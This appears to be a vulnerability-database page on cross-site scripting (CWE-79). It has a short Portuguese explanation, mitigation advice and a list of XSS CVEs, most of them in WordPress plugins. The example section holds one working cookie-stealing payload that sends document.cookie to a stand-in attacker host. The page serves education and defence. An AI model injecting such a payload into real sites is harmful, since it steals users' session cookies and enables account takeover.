Fallos del tipo CWE-79

30.203 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-9242MEDIUMMemberful – Membership Plugin <= 1.73.7 - Authenticated (contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-1312MEDIUMUltimate Blocks – WordPress Blocks Plugin <= 3.2.7 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-8896MEDIUMMIR blocks and shortcodes <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2024-52599MEDIUMTuleap vulnerable to XSS in the Gantt chart of the tracker pluginEPSS 0.3%CVE-2026-18063MEDIUMJob Postings <= 2.8.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'position_button' ParameterEPSS 0.3%CVE-2023-28525MEDIUMIBM Engineering Requirements Management cross-site scriptingEPSS 0.3%CVE-2023-51396MEDIUMWordPress Brizy – Page Builder Plugin <= 2.4.29 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2023-1111MEDIUMFastCMS New Article Tab cross site scriptingEPSS 0.3%CVE-2023-50825MEDIUMWordPress iframe Shortcode Plugin <= 2.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-10388HIGHWordPress GDPR <= 2.0.2 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-5502MEDIUMPiotnet Addons For Elementor <= 2.4.30 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple WidgetsEPSS 0.3%CVE-2024-13728MEDIUMAccept Donations with PayPal & Stripe <= 1.4.4 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2024-11910MEDIUMWP Crowdfunding <= 2.1.15 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-9425MEDIUMAdvanced Category and Custom Taxonomy Image <= 1.0.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via ad_tax_image ShortcodeEPSS 0.3%CVE-2022-32754MEDIUMIBM Security Verify Directory cross-site scriptingEPSS 0.3%CVE-2026-2594MEDIUMSmart Custom Fields <= 5.0.7 - Authenticated (Author+) Stored Cross-Site Scripting via Attachment TitleEPSS 0.3%CVE-2025-26158MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability was discovered in the manage-employee.php page of Kashipara Online Attendance Management SEPSS 0.3%CVE-2024-47380HIGHWordPress WP-Lister Lite for eBay plugin <= 3.6.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-3309MEDIUMQi Addons For Elementor <= 1.7.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Countdown widgetEPSS 0.3%CVE-2024-47347HIGHWordPress Chartify plugin <= 2.7.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%